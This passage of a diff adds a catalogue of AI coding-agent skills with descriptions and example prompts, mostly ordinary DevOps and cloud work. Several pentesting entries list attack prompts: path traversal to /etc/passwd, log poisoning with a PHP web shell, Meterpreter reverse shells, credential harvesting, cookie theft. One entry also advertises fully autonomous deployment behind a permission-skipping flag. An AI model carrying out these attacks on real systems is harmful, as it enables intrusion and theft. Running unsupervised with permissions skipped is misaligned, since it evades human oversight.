+- Stealing user cookies and session tokens for session hijacking
+- Bypassing Content Security Policy (CSP) and other client-side filters
+- Performing HTML injection for phishing or defacement during assessments
+
+### Example Prompts
+- "Test this search parameter for reflected XSS using a basic '' payload."
+- "Identify if this comment section is vulnerable to stored XSS and attempt to capture a test cookie."
+- "Analyze this application's CSP headers and look for potential bypasses via insecure script sources."
+
+---
+
+## database-admin (`database-admin`)
+
+**Description:** Expert database administrator specializing in modern cloud databases, automation, and reliability engineering. Masters AWS/Azure/GCP database services, Infrastructure as Code, high availability, disaster recovery, performance optimization, and compliance. Handles multi-cloud strategies, container databases, and cost optimization. Use PROACTIVELY for database architecture, operations, or reliability engineering.
+
+### Use Cases
+Expert database administrator with comprehensive knowledge of cloud-native databases, automation, and reliability engineering. Masters multi-cloud database platforms, Infrastructure as Code for databases, and modern operational practices. Specializes in high availability, disaster recovery, performance optimization, and database security.
+
+### Example Prompts
+- "Design multi-region PostgreSQL setup with automated failover and disaster recovery"
+- "Implement comprehensive database monitoring with proactive alerting and performance optimization"
+- "Create automated backup and recovery system with point-in-time recovery capabilities"
+- "Set up database CI/CD pipeline with automated schema migrations and testing"
+- "Design database security architecture meeting HIPAA compliance requirements"
+- "Optimize database costs while maintaining performance SLAs across multiple cloud providers"
+- "Implement database operations automation using Infrastructure as Code and GitOps"
+- "Create database disaster recovery plan with automated failover and business continuity procedures"
+
+---
+
+## dependency-management-deps-audit (`dependency-management-deps-audit`)
+
+**Description:** You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## deployment-engineer (`deployment-engineer`)
+
+**Description:** Expert deployment engineer specializing in modern CI/CD pipelines, GitOps workflows, and advanced deployment automation. Masters GitHub Actions, ArgoCD/Flux, progressive delivery, container security, and platform engineering. Handles zero-downtime deployments, security scanning, and developer experience optimization. Use PROACTIVELY for CI/CD design, GitOps implementation, or deployment automation.
+
+### Use Cases
+Expert deployment engineer with comprehensive knowledge of modern CI/CD practices, GitOps workflows, and container orchestration. Masters advanced deployment strategies, security-first pipelines, and platform engineering approaches. Specializes in zero-downtime deployments, progressive delivery, and enterprise-scale automation.
+
+### Example Prompts
+- "Design a complete CI/CD pipeline for a microservices application with security scanning and GitOps"
+- "Implement progressive delivery with canary deployments and automated rollbacks"
+- "Create secure container build pipeline with vulnerability scanning and image signing"
+- "Set up multi-environment deployment pipeline with proper promotion and approval workflows"
+- "Design zero-downtime deployment strategy for database-backed application"
+- "Implement GitOps workflow with ArgoCD for Kubernetes application deployment"
+- "Create comprehensive monitoring and alerting for deployment pipeline and application health"
+- "Build developer platform with self-service deployment capabilities and proper guardrails"
+
+---
+
+## deployment-pipeline-design (`deployment-pipeline-design`)
+
+**Description:** Design multi-stage CI/CD pipelines with approval gates, security checks, and deployment orchestration. Use when architecting deployment workflows, setting up continuous delivery, or implementing GitOps practices.
+
+### Use Cases
+Design robust, secure deployment pipelines that balance speed with safety through proper stage organization and approval workflows.
+
+### Example Prompts
+Not specified
+
+---
+
+## devops-troubleshooter (`devops-troubleshooter`)
+
+**Description:** Expert DevOps troubleshooter specializing in rapid incident response, advanced debugging, and modern observability. Masters log analysis, distributed tracing, Kubernetes debugging, performance optimization, and root cause analysis. Handles production outages, system reliability, and preventive monitoring. Use PROACTIVELY for debugging, incident response, or system troubleshooting.
+
+### Use Cases
+Expert DevOps troubleshooter with comprehensive knowledge of modern observability tools, debugging methodologies, and incident response practices. Masters log analysis, distributed tracing, performance debugging, and system reliability engineering. Specializes in rapid problem resolution, root cause analysis, and building resilient systems.
+
+### Example Prompts
+- "Debug high memory usage in Kubernetes pods causing frequent OOMKills and restarts"
+- "Analyze distributed tracing data to identify performance bottleneck in microservices architecture"
+- "Troubleshoot intermittent 504 gateway timeout errors in production load balancer"
+- "Investigate CI/CD pipeline failures and implement automated debugging workflows"
+- "Root cause analysis for database deadlocks causing application timeouts"
+- "Debug DNS resolution issues affecting service discovery in Kubernetes cluster"
+- "Analyze logs to identify security breach and implement containment procedures"
+- "Troubleshoot GitOps deployment failures and implement automated rollback procedures"
+
+---
+
+## doc-coauthoring (`doc-coauthoring`)
+
+**Description:** Guide users through a structured workflow for co-authoring documentation. Use when user wants to write documentation, proposals, technical specs, decision docs, or similar structured content. This workflow helps users efficiently transfer context, refine content through iteration, and verify the doc works for readers. Trigger when user mentions writing docs, creating proposals, drafting specs, or similar documentation tasks.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## docker-expert (`docker-expert`)
+
+**Description:** Docker containerization expert with deep knowledge of multi-stage builds, image optimization, container security, Docker Compose orchestration, and production deployment patterns. Use PROACTIVELY for Dockerfile optimization, container issues, image size problems, security hardening, networking, and orchestration challenges.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## dotnet-architect (`dotnet-architect`)
+
+**Description:** Expert .NET backend architect specializing in C#, ASP.NET Core, Entity Framework, Dapper, and enterprise application patterns. Masters async/await, dependency injection, caching strategies, and performance optimization. Use PROACTIVELY for .NET API development, code review, or architecture decisions.
+
+### Use Cases
+Senior .NET architect focused on building production-grade APIs, microservices, and enterprise applications. Combines deep expertise in C# language features, ASP.NET Core framework, data access patterns, and cloud-native development to deliver robust, maintainable, and high-performance solutions.
+
+### Example Prompts
+- "Design a caching strategy for product catalog with 100K items"
+- "Review this async code for potential deadlocks and performance issues"
+- "Implement a repository pattern with both EF Core and Dapper"
+- "Optimize this LINQ query that's causing N+1 problems"
+- "Create a background service for processing order queue"
+- "Design authentication flow with JWT and refresh tokens"
+- "Set up health checks for API and database dependencies"
+- "Implement rate limiting for public API endpoints"
+
+---
+
+## dotnet-backend-patterns (`dotnet-backend-patterns`)
+
+**Description:** Master C#/.NET backend development patterns for building robust APIs, MCP servers, and enterprise applications. Covers async/await, dependency injection, Entity Framework Core, Dapper, configuration, caching, and testing with xUnit. Use when developing .NET backends, reviewing C# code, or designing API architectures.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## error-debugging-error-analysis (`error-debugging-error-analysis`)
+
+**Description:** You are an expert error analysis specialist with deep expertise in debugging distributed systems, analyzing production incidents, and implementing comprehensive observability solutions.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## error-diagnostics-error-analysis (`error-diagnostics-error-analysis`)
+
+**Description:** You are an expert error analysis specialist with deep expertise in debugging distributed systems, analyzing production incidents, and implementing comprehensive observability solutions.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Ethical Hacking Methodology (`ethical-hacking-methodology`)
+
+**Description:** This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
+
+### Use Cases
+- Learning and applying the standard 5-phase hacking methodology (Recon, Scanning, Vulnerability Analysis, Exploitation, Reporting)
+- Understanding different hacker types (White, Black, Grey Hat) and ethical guidelines
+- Setting up a specialized security testing environment using Kali Linux
+- Documenting security assessment findings in a professional format
+
+### Example Prompts
+- "Explain the five phases of the ethical hacking methodology and provide examples for each."
+- "What are the key ethical guidelines and legal requirements I must follow before starting a penetration test?"
+- "How do I configure a basic reconnaissance workflow using OSINT tools and public data sources?"
+
+---
+
+## event-sourcing-architect (`event-sourcing-architect`)
+
+**Description:** Expert in event sourcing, CQRS, and event-driven architecture patterns. Masters event store design, projection building, saga orchestration, and eventual consistency patterns. Use PROACTIVELY for event-sourced systems, audit trails, or temporal queries.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## fastapi-templates (`fastapi-templates`)
+
+**Description:** Create production-ready FastAPI projects with async patterns, dependency injection, and comprehensive error handling. Use when building new FastAPI applications or setting up backend API projects.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## File Path Traversal Testing (`file-path-traversal`)
+
+**Description:** This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
+
+### Use Cases
+- Identifying and exploiting directory traversal points in web applications
+- Bypassing input filters and extension validation to read arbitrary system files
+- Escalating Local File Inclusion (LFI) to Remote Code Execution (RCE) via log poisoning
+- Extracting sensitive data such as /etc/passwd, wp-config.php, or SSH private keys
+
+### Example Prompts
+- "Test the 'filename' parameter of this image loading endpoint for basic path traversal using '../../../../etc/passwd'."
+- "Attempt to read the WordPress configuration file using a PHP filter wrapper to bypass binary data issues."
+- "Poison the Apache access logs with a PHP web shell and then include the log file to achieve RCE."
+
+---
+
+## firebase (`firebase`)
+
+**Description:** Firebase gives you a complete backend in minutes - auth, database, storage, functions, hosting. But the ease of setup hides real complexity. Security rules are your last line of defense, and they're often wrong. Firestore queries are limited, and you learn this after you've designed your data model. This skill covers Firebase Authentication, Firestore, Realtime Database, Cloud Functions, Cloud Storage, and Firebase Hosting. Key insight: Firebase is optimized for read-heavy, denormalized data. I
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## firmware-analyst (`firmware-analyst`)
+
+**Description:** Expert firmware analyst specializing in embedded systems, IoT security, and hardware reverse engineering. Masters firmware extraction, analysis, and vulnerability research for routers, IoT devices, automotive systems, and industrial controllers. Use PROACTIVELY for firmware security audits, IoT penetration testing, or embedded systems research.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## form-cro (`form-cro`)
+
+**Description:** Optimize any form that is NOT signup or account registration — including lead capture, contact, demo request, application, survey, quote, and checkout forms. Use when the goal is to increase form completion rate, reduce friction, or improve lead quality without breaking compliance or downstream workflows.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## frontend-mobile-security-xss-scan (`frontend-mobile-security-xss-scan`)
+
+**Description:** You are a frontend security specialist focusing on Cross-Site Scripting (XSS) vulnerability detection and prevention. Analyze React, Vue, Angular, and vanilla JavaScript code to identify injection poi
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## frontend-security-coder (`frontend-security-coder`)
+
+**Description:** Expert in secure frontend coding practices specializing in XSS prevention, output sanitization, and client-side security patterns. Use PROACTIVELY for frontend security implementations or client-side security code reviews.
+
+### Use Cases
+- **Use this agent for**: Hands-on frontend security coding, XSS prevention implementation, CSP configuration, secure DOM manipulation, client-side vulnerability fixes
+- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning
+- **Key difference**: This agent focuses on writing secure frontend code, while security-auditor focuses on auditing and assessing security posture
+
+### Example Prompts
+- "Implement secure DOM manipulation for user-generated content display"
+- "Configure Content Security Policy to prevent XSS while maintaining functionality"
+- "Create secure form validation that prevents injection attacks"
+- "Implement clickjacking protection for sensitive user operations"
+- "Set up secure redirect handling with URL validation and allowlists"
+- "Sanitize user input for rich text editor with DOMPurify integration"
+- "Implement secure authentication token storage and rotation"
+- "Create secure third-party widget integration with iframe sandboxing"
+
+---
+
+## gdpr-data-handling (`gdpr-data-handling`)
+
+**Description:** Implement GDPR-compliant data handling with consent management, data subject rights, and privacy by design. Use when building systems that process EU personal data, implementing privacy controls, or conducting GDPR compliance reviews.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## graphql-architect (`graphql-architect`)
+
+**Description:** Master modern GraphQL with federation, performance optimization, and enterprise security. Build scalable schemas, implement advanced caching, and design real-time systems. Use PROACTIVELY for GraphQL architecture or performance optimization.
+
+### Use Cases
+Expert GraphQL architect focused on building scalable, performant, and secure GraphQL systems for enterprise applications. Masters modern federation patterns, advanced optimization techniques, and cutting-edge GraphQL tooling to deliver high-performance APIs that scale with business needs.
+
+### Example Prompts
+- "Design a federated GraphQL architecture for a multi-team e-commerce platform"
+- "Optimize this GraphQL schema to eliminate N+1 queries and improve performance"
+- "Implement real-time subscriptions for a collaborative application with proper authorization"
+- "Create a migration strategy from REST to GraphQL with backward compatibility"
+- "Build a GraphQL gateway that aggregates data from multiple microservices"
+- "Design field-level caching strategy for a high-traffic GraphQL API"
+- "Implement query complexity analysis and rate limiting for production safety"
+- "Create a schema evolution strategy that supports multiple client versions"
+
+---
+
+## HTML Injection Testing (`html-injection-testing`)
+
+**Description:** This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## hubspot-integration (`hubspot-integration`)
+
+**Description:** Expert patterns for HubSpot CRM integration including OAuth authentication, CRM objects, associations, batch operations, webhooks, and custom objects. Covers Node.js and Python SDKs. Use when: hubspot, hubspot api, hubspot crm, hubspot integration, contacts api.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## hybrid-cloud-architect (`hybrid-cloud-architect`)
+
+**Description:** Expert hybrid cloud architect specializing in complex multi-cloud solutions across AWS/Azure/GCP and private clouds (OpenStack/VMware). Masters hybrid connectivity, workload placement optimization, edge computing, and cross-cloud automation. Handles compliance, cost optimization, disaster recovery, and migration strategies. Use PROACTIVELY for hybrid architecture, multi-cloud strategy, or complex infrastructure integration.
+
+### Use Cases
+Expert hybrid cloud architect with deep expertise in designing, implementing, and managing complex multi-cloud environments. Masters public cloud platforms (AWS, Azure, GCP), private cloud solutions (OpenStack, VMware, Kubernetes), and edge computing. Specializes in hybrid connectivity, workload placement optimization, compliance, and cost management across heterogeneous environments.
+
+### Example Prompts
+- "Design a hybrid cloud architecture for a financial services company with strict compliance requirements"
+- "Plan workload placement strategy for a global manufacturing company with edge computing needs"
+- "Create disaster recovery solution across AWS, Azure, and on-premises OpenStack"
+- "Optimize costs for hybrid workloads while maintaining performance SLAs"
+- "Design secure hybrid connectivity with zero-trust networking principles"
+- "Plan migration strategy from legacy on-premises to hybrid multi-cloud architecture"
+- "Implement unified monitoring and observability across hybrid infrastructure"
+- "Create FinOps strategy for multi-cloud cost optimization and governance"
+
+---
+
+## IDOR Vulnerability Testing (`idor-testing`)
+
+**Description:** This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
+
+### Use Cases
+- Testing for access control bypasses by manipulating object identifiers (e.g., user IDs, order IDs)
+- Enumerating sensitive data through predictable resource patterns
+- Validating horizontal and vertical privilege escalation vulnerabilities
+- Capturing and analyzing API requests for authorization weaknesses
+
+### Example Prompts
+- "Capture the request for viewing profile ID 123 and attempt to view profile ID 124 by changing the parameter."
+- "Enumerate public files by iterating through numerical IDs in the download URL."
+- "Test if a regular user can access administrative API endpoints by modifying the 'role' or 'admin' parameter."
+
+---
+## incident-responder (`incident-responder`)
+
+**Description:** Expert SRE incident responder specializing in rapid problem resolution, modern observability, and comprehensive incident management. Masters incident command, blameless post-mortems, error budget management, and system reliability patterns. Handles critical outages, communication strategies, and continuous improvement. Use IMMEDIATELY for production incidents or SRE practices.
+
+### Use Cases
+Expert incident responder with deep knowledge of SRE principles, modern observability, and incident management frameworks. Masters rapid problem resolution, effective communication, and comprehensive post-incident analysis. Specializes in building resilient systems and improving organizational incident response capabilities.
+
+### Example Prompts
+Not specified
+
+---
+
+## incident-response-incident-response (`incident-response-incident-response`)
+
+**Description:** Use when working with incident response incident response
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## incident-response-smart-fix (`incident-response-smart-fix`)
+
+**Description:** Advanced issue resolution workflow using multi-agent orchestration for diagnosing and fixing complex software incidents.
+
+### Use Cases
+- Establishing incident command structure for data breaches
+- Conducting blameless post-mortems for system outages
+- Implementing proactive monitoring strategies for broad threat detection
+
+### Example Prompts
+- "Establish an incident command structure for a critical data breach affecting customer records."
+- "Conduct a blameless post-mortem for the payment system outage and identify technical and process improvements."
+- "Implement a proactive monitoring strategy to detect potential security breaches before they escalate."
+
+---
+
+## incident-runbook-templates (`incident-runbook-templates`)
+
+**Description:** Create structured incident response runbooks with step-by-step procedures, escalation paths, and recovery actions. Use when building runbooks, responding to incidents, or establishing incident response procedures.
+
+### Use Cases
+**Service**: Payment Processing Service
+**Owner**: Platform Team
+**Slack**: #payments-incidents
+**PagerDuty**: payments-oncall
+
+### Example Prompts
+Not specified
+
+---
+
+## internal-comms (`internal-comms-anthropic`)
+
+**Description:** A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.).
+
+### Use Cases
+To write internal communications, use this skill for:
+- 3P updates (Progress, Plans, Problems)
+- Company newsletters
+- FAQ responses
+- Status reports
+- Leadership updates
+- Project updates
+- Incident reports
+
+### Example Prompts
+Not specified
+
+---
+
+## internal-comms (`internal-comms-community`)
+
+**Description:** A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.).
+
+### Use Cases
+To write internal communications, use this skill for:
+- 3P updates (Progress, Plans, Problems)
+- Company newsletters
+- FAQ responses
+- Status reports
+- Leadership updates
+- Project updates
+- Incident reports
+
+### Example Prompts
+Not specified
+
+---
+
+## k8s-manifest-generator (`k8s-manifest-generator`)
+
+**Description:** Create production-ready Kubernetes manifests for Deployments, Services, ConfigMaps, and Secrets following best practices and security standards. Use when generating Kubernetes YAML manifests, creating K8s resources, or implementing production-grade Kubernetes configurations.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## k8s-security-policies (`k8s-security-policies`)
+
+**Description:** Implement Kubernetes security policies including NetworkPolicy, PodSecurityPolicy, and RBAC for production-grade security. Use when securing Kubernetes clusters, implementing network isolation, or enforcing pod security standards.
+
+### Use Cases
+Implement defense-in-depth security for Kubernetes clusters using network policies, pod security standards, and RBAC.
+
+### Example Prompts
+Not specified
+
+---
+
+## kubernetes-architect (`kubernetes-architect`)
+
+**Description:** Expert Kubernetes architect specializing in cloud-native infrastructure, advanced GitOps workflows (ArgoCD/Flux), and enterprise container orchestration. Masters EKS/AKS/GKE, service mesh (Istio/Linkerd), progressive delivery, multi-tenancy, and platform engineering. Handles security, observability, cost optimization, and developer experience. Use PROACTIVELY for K8s architecture, GitOps implementation, or cloud-native platform design.
+
+### Use Cases
+Expert Kubernetes architect with comprehensive knowledge of container orchestration, cloud-native technologies, and modern GitOps practices. Masters Kubernetes across all major providers (EKS, AKS, GKE) and on-premises deployments. Specializes in building scalable, secure, and cost-effective platform engineering solutions that enhance developer productivity.
+
+### Example Prompts
+- "Design a multi-cluster Kubernetes platform with GitOps for a financial services company"
+- "Implement progressive delivery with Argo Rollouts and service mesh traffic splitting"
+- "Create a secure multi-tenant Kubernetes platform with namespace isolation and RBAC"
+- "Design disaster recovery for stateful applications across multiple Kubernetes clusters"
+- "Optimize Kubernetes costs while maintaining performance and availability SLAs"
+- "Implement observability stack with Prometheus, Grafana, and OpenTelemetry for microservices"
+- "Create CI/CD pipeline with GitOps for container applications with security scanning"
+- "Design Kubernetes operator for custom application lifecycle management"
+
+---
+
+## legal-advisor (`legal-advisor`)
+
+**Description:** Draft privacy policies, terms of service, disclaimers, and legal notices. Creates GDPR-compliant texts, cookie policies, and data processing agreements. Use PROACTIVELY for legal documentation, compliance texts, or regulatory requirements.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## linkerd-patterns (`linkerd-patterns`)
+
+**Description:** Implement Linkerd service mesh patterns for lightweight, security-focused service mesh deployments. Use when setting up Linkerd, configuring traffic policies, or implementing zero-trust networking with minimal overhead.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Linux Privilege Escalation (`linux-privilege-escalation`)
+
+**Description:** This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## loki-mode (`loki-mode`)
+
+**Description:** Multi-agent autonomous startup system for Claude Code. Triggers on "Loki Mode". Orchestrates 100+ specialized agents across engineering, QA, DevOps, security, data/ML, business operations, marketing, HR, and customer success. Takes PRD to fully deployed, revenue-generating product with zero human intervention. Features Task tool for subagent dispatch, parallel code review with 3 specialized reviewers, severity-based issue triage, distributed task queue with dead letter handling, automatic deployment to cloud providers, A/B testing, customer feedback loops, incident response, circuit breakers, and self-healing. Handles rate limits via distributed state checkpoints and auto-resume with exponential backoff. Requires --dangerously-skip-permissions flag.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Full workflow fails -> Simplified workflow -> Decompose to subtasks -> Human escalation
+
+
+---
+
+## malware-analyst (`malware-analyst`)
+
+**Description:** Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis, and malware family identification. Handles static/dynamic analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage, threat hunting, incident response, or security research.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## memory-forensics (`memory-forensics`)
+
+**Description:** Master memory forensics techniques including memory acquisition, process analysis, and artifact extraction using Volatility and related tools. Use when analyzing memory dumps, investigating incidents, or performing malware analysis from RAM captures.
+
+### Use Cases
+Not specified
+
+## Metasploit Framework (`metasploit-framework`)
+
+**Description:** This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
+
+### Use Cases
+- Performing vulnerability exploitation using a unified framework
+- Generating and encoding various payloads for different architectures (msfvenom)
+- Executing post-exploitation activities using powerful Meterpreter sessions
+- Automating network service enumeration and vulnerability verification
+
+### Example Prompts
+- "Search for an exploit module targeting 'Apache Struts' with an 'excellent' rank."
+- "Configure a windows/x64/meterpreter/reverse_tcp payload with LHOST and LPORT for this exploit."
+- "Execute a credential harvesting post-module on active Meterpreter session 1."
+
+---
+
+## micro-saas-launcher (`micro-saas-launcher`)
+
+**Description:** Expert in launching small, focused SaaS products fast - the indie hacker approach to building profitable software. Covers idea validation, MVP development, pricing, launch strategies, and growing to sustainable revenue. Ship in weeks, not months. Use when: micro saas, indie hacker, small saas, side project, saas mvp.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## mobile-security-coder (`mobile-security-coder`)
+
+**Description:** Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. Use PROACTIVELY for mobile security implementations or mobile security code reviews.
+
+### Use Cases
+- **Use this agent for**: Hands-on mobile security coding, implementation of secure mobile patterns, mobile-specific vulnerability fixes, WebView security configuration, mobile authentication implementation
+- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning
+- **Key difference**: This agent focuses on writing secure mobile code, while security-auditor focuses on auditing and assessing security posture
+
+### Example Prompts
+- "Implement secure WebView configuration with HTTPS enforcement and CSP"
+- "Set up biometric authentication with secure fallback mechanisms"
+- "Create secure local storage with encryption for sensitive user data"
+- "Implement certificate pinning for API communication security"
+- "Configure deep link security with URL validation and parameter sanitization"
+- "Set up root/jailbreak detection with graceful security degradation"
+- "Implement secure cross-platform data sharing between native and WebView"
+- "Create privacy-compliant analytics with data minimization and consent"
+- "Implement secure React Native bridge communication with input validation"
+- "Configure Flutter platform channel security with message validation"
+- "Set up secure Xamarin native interop with assembly protection"
+- "Implement secure Cordova plugin communication with sandboxing"
+
+---
+
+## mtls-configuration (`mtls-configuration`)
+
+**Description:** Configure mutual TLS (mTLS) for zero-trust service-to-service communication. Use when implementing zero-trust networking, certificate management, or securing internal service communication.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Network 101 (`network-101`)
+
+**Description:** This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring target environments for security testing.
+
+### Use Cases
+- Configuring and testing common network services (HTTP, HTTPS, SNMP, SMB)
+- Enumerating network services for security assessment training
+- Analyzing service logs for security events and credential harvesting
+- Setting up isolated lab environments for penetration testing practice
+
+### Example Prompts
+- "Set up a basic Apache web server on Linux and create a test login page for credential harvesting practice."
+- "Configure an SNMP service with 'public' and 'private' community strings for enumeration practice."
+- "Enumerate an SMB service anonymously and list all accessible shares using smbclient."
+
+---
+
+## nestjs-expert (`nestjs-expert`)
+
+**Description:** Nest.js framework expert specializing in module architecture, dependency injection, middleware, guards, interceptors, testing with Jest/Supertest, TypeORM/Mongoose integration, and Passport.js authentication. Use PROACTIVELY for any Nest.js application issues including architecture decisions, testing strategies, performance optimization, or debugging complex dependency injection problems. If a specialized expert is a better fit, I will recommend switching and stop.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## network-engineer (`network-engineer`)
+
+**Description:** Expert network engineer specializing in modern cloud networking, security architectures, and performance optimization. Masters multi-cloud connectivity, service mesh, zero-trust networking, SSL/TLS, global load balancing, and advanced troubleshooting. Handles CDN optimization, network automation, and compliance. Use PROACTIVELY for network design, connectivity issues, or performance optimization.
+
+### Use Cases
+Expert network engineer with comprehensive knowledge of cloud networking, modern protocols, security architectures, and performance optimization. Masters multi-cloud networking, service mesh technologies, zero-trust architectures, and advanced troubleshooting. Specializes in scalable, secure, and high-performance network solutions.
+
+### Example Prompts
+- "Design secure multi-cloud network architecture with zero-trust connectivity"
+- "Troubleshoot intermittent connectivity issues in Kubernetes service mesh"
+- "Optimize CDN configuration for global application performance"
+- "Configure SSL/TLS termination with automated certificate management"
+- "Design network security architecture for compliance with HIPAA requirements"
+- "Implement global load balancing with disaster recovery failover"
+- "Analyze network performance bottlenecks and implement optimization strategies"
+- "Set up comprehensive network monitoring with automated alerting and incident response"
+
+---
+
+## nextjs-supabase-auth (`nextjs-supabase-auth`)
+
+**Description:** Expert integration of Supabase Auth with Next.js App Router Use when: supabase auth next, authentication next.js, login supabase, auth middleware, protected route.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## nodejs-backend-patterns (`nodejs-backend-patterns`)
+
+**Description:** Build production-ready Node.js backend services with Express/Fastify, implementing middleware patterns, error handling, authentication, database integration, and API design best practices. Use when creating Node.js servers, REST APIs, GraphQL backends, or microservices architectures.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## nodejs-best-practices (`nodejs-best-practices`)
+
+**Description:** Node.js development principles and decision-making. Framework selection, async patterns, security, and architecture. Teaches thinking, not copying.
+
+### Use Cases
+Use this skill when making Node.js architecture decisions, choosing frameworks, designing async patterns, or applying security and deployment best practices.
+
+### Example Prompts
+Not specified
+
+---
+
+## notebooklm (`notebooklm`)
+
+**Description:** Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. Browser automation, library management, persistent auth. Drastically reduced hallucinations through document-only responses.
+
+### Use Cases
+Trigger when user:
+- Mentions NotebookLM explicitly
+- Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`)
+- Asks to query their notebooks/documentation
+- Wants to add documentation to NotebookLM library
+- Uses phrases like "ask my NotebookLM", "check my docs", "query my notebook"
+
+### Example Prompts
+Not specified
+
+---
+
+## observability-engineer (`observability-engineer`)
+
+**Description:** Build production-ready monitoring, logging, and tracing systems. Implements comprehensive observability strategies, SLI/SLO management, and incident response workflows. Use PROACTIVELY for monitoring infrastructure, performance optimization, or production reliability.
+
+### Use Cases
+Expert observability engineer specializing in comprehensive monitoring strategies, distributed tracing, and production reliability systems. Masters both traditional monitoring approaches and cutting-edge observability patterns, with deep knowledge of modern observability stacks, SRE practices, and enterprise-scale monitoring architectures.
+
+### Example Prompts
+- "Design a comprehensive monitoring strategy for a microservices architecture with 50+ services"
+- "Implement distributed tracing for a complex e-commerce platform handling 1M+ daily transactions"
+- "Set up cost-effective log management for a high-traffic application generating 10TB+ daily logs"
+- "Create SLI/SLO framework with error budget tracking for API services with 99.9% availability target"
+- "Build real-time alerting system with intelligent noise reduction for 24/7 operations team"
+- "Implement chaos engineering with monitoring validation for Netflix-scale resilience testing"
+- "Design executive dashboard showing business impact of system reliability and revenue correlation"
+- "Set up compliance monitoring for SOC2 and PCI requirements with automated evidence collection"
+- "Optimize monitoring costs while maintaining comprehensive coverage for startup scaling to enterprise"
+- "Create automated incident response workflows with runbook integration and Slack/PagerDuty escalation"
+- "Build multi-region observability architecture with data sovereignty compliance"
+- "Implement machine learning-based anomaly detection for proactive issue identification"
+- "Design observability strategy for serverless architecture with AWS Lambda and API Gateway"
+- "Create custom metrics pipeline for business KPIs integrated with technical monitoring"
+
